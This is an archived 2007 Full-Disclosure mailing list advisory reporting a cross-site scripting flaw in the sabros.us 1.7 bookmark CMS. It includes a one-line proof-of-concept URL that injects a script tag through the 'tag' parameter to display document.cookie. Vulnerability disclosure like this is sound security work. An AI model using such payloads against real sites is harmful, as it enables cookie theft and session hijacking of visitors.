full-disclosure - [x0ne-h4ck] sabros.us 1.7 XSS Exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Date: Thu, 18 Jan 2007 20:18:57 +0100
From: <corrado.liotta@...ce.it>
To: <full-disclosure@...ts.grok.org.uk>
Subject: [x0ne-h4ck] sabros.us 1.7 XSS Exploit

-=[--------------------ADVISORY-------------------]=-

                        sabros.us 1.7    

  Author: CorryL    [corryl80@...il.com]   
-=[-----------------------------------------------]=-

-=[+] Application:    sabros.us 
-=[+] Version:        1.7
-=[+] Vendor's URL:   http://sourceforge.net/projects/sabrosus/
-=[+] Platform:       Windows\Linux\Unix
-=[+] Bug type:       Cross-Site Script
-=[+] Exploitation:   Remote
-=[-]
-=[+] Author:           CorryL  ~ corryl80[at]gmail[dot]com ~
-=[+] Reference:       www.x0n3-h4ck.org
-=[+] Virtual Office:  http://www.kasamba.com/CorryL
-=[+] Irc Chan:         irc.darksin.net #x0n3-h4ck        

..::[ Descriprion ]::..

sabros.us is a CMS to put your bookmarks online with folksonomy support; 
just like del.icio.us, but the big diference is you will have 
the complete control of the source code and written on PHP with MySQL 
as backend we make it cross platform.

..::[ Proof Of Concept ]::..

http://remote-server/index.php?tag=</title><script>alert(document.cookie)</script>

**************
Registrati ad Alice Basic e scarica Alice Messenger, 
il nuovo instant messenger che ti fa chattare GRATIS con i tuoi amici!
Per maggiori informazioni vai su: 
http://adsl.alice.it/servizi/alicebasic.html?pmk=psmail_foot01

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/